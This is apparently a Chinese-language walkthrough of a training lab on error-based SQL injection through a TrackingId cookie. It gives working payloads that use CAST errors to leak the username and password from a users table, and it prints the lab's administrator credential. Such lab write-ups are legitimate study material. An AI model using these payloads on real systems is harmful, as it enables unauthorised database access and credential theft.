# Web SQL injection Lab13 注入點:TrackingId Cookie 回應特性:伺服器會直接把 SQL 錯誤訊息顯示出來(包含注入後的查詢語句) 目標:偷到 administrator 的密碼並登入 --- 先進入網站並攔截請求。 ![image](https://hackmd.io/_uploads/H149PYnNee.png) ![image](https://hackmd.io/_uploads/rJuguF2Exg.png) 一樣先測試網站的反應,嘗試用 `'` 和 `''` 來測試。 ![image](https://hackmd.io/_uploads/HJs-_Y3Elg.png) ![image](https://hackmd.io/_uploads/SyUMdKhVle.png) 有此可知,錯誤語法有效,不過和之前不一樣的是這裡會印出錯誤訊息。 ![image](https://hackmd.io/_uploads/S1fO_Yh4xg.png) 所以我們輸入個查詢字串 ``` ' AND (SELECT username FROM users)-- ``` ![image](https://hackmd.io/_uploads/B1JP3t34ll.png) 在這題當中有限制我們的輸入必須為布林值,所以轉換道路。 ``` ' AND CAST((SELECT 1) AS int)-- ``` SQL 語法: ``` SELECT * FROM users WHERE id = '' AND CAST((SELECT 1) AS int)--' ``` - `'`:關閉原本的字串 - `AND CAST((SELECT 1) AS int)`:嘗試執行一個合法的條件判斷(數值 1 → 轉為整數) - `--`:注釋掉後面的 SQL,避免語法錯誤 ![image](https://hackmd.io/_uploads/r1usAF3Nlx.png) 但還是出錯,AND 的左右兩邊都必須是布林值(true 或 false),不能是數字(像是 1 或 0),不像 MySQL 會偷偷幫你把 1 當作 true,所以我們加個 `1=`。 ``` ' AND 1=CAST((SELECT 1) AS int)-- ``` ![image](https://hackmd.io/_uploads/rJrLyc2Vle.png) :::info ### 為什麼 `1=CAST(...)` 是必要? 因為這是在 WHERE 子句裡,要有個邏輯運算才成立 ➜ `1 = <東西>` 是最安全的包裝 ::: 成功之後就來查詢表跟使用者。 ``` ' AND 1=CAST((SELECT username FROM users) AS int)-- ``` ![image](https://hackmd.io/_uploads/rkoebc3Vgl.png) 但這時會出現錯誤說我們的文字過長,後面被截斷了,所以我嘗試把前面的 ID 刪除,然後又出現新的問題。 ![image](https://hackmd.io/_uploads/S1U1Qq3Vlx.png) 在新的問題中可以知道說他多行回傳出錯了,簡單來說,就是 users 表裡不只一筆 username,這樣資料庫不知道該拿哪一筆來轉型,就報錯了。 所以我們設定 LIMIT 為 1,讓他只輸出第一列使用者。 ``` ' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)-- ``` ![image](https://hackmd.io/_uploads/rJ6e4chElg.png) 又再次報錯,但這次的訊息是 administrator 無法轉成 int,所以我們嘗試把 username 改成 password,直接查詢密碼,看看他會不會直接顯示出來。 ``` ' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)-- ``` ![image](https://hackmd.io/_uploads/By7OEc3Vge.png) :::info password 本身是文字,但我們用 CAST 想要強制轉換成數字而出錯,所以才會跟前面使用者名一樣被列出在錯誤訊息裡面。 ::: 水,拿去登入。 `administrator:vr4dx40essjf1lzlbtml` ![image](https://hackmd.io/_uploads/S1GCEq2Vee.png) ---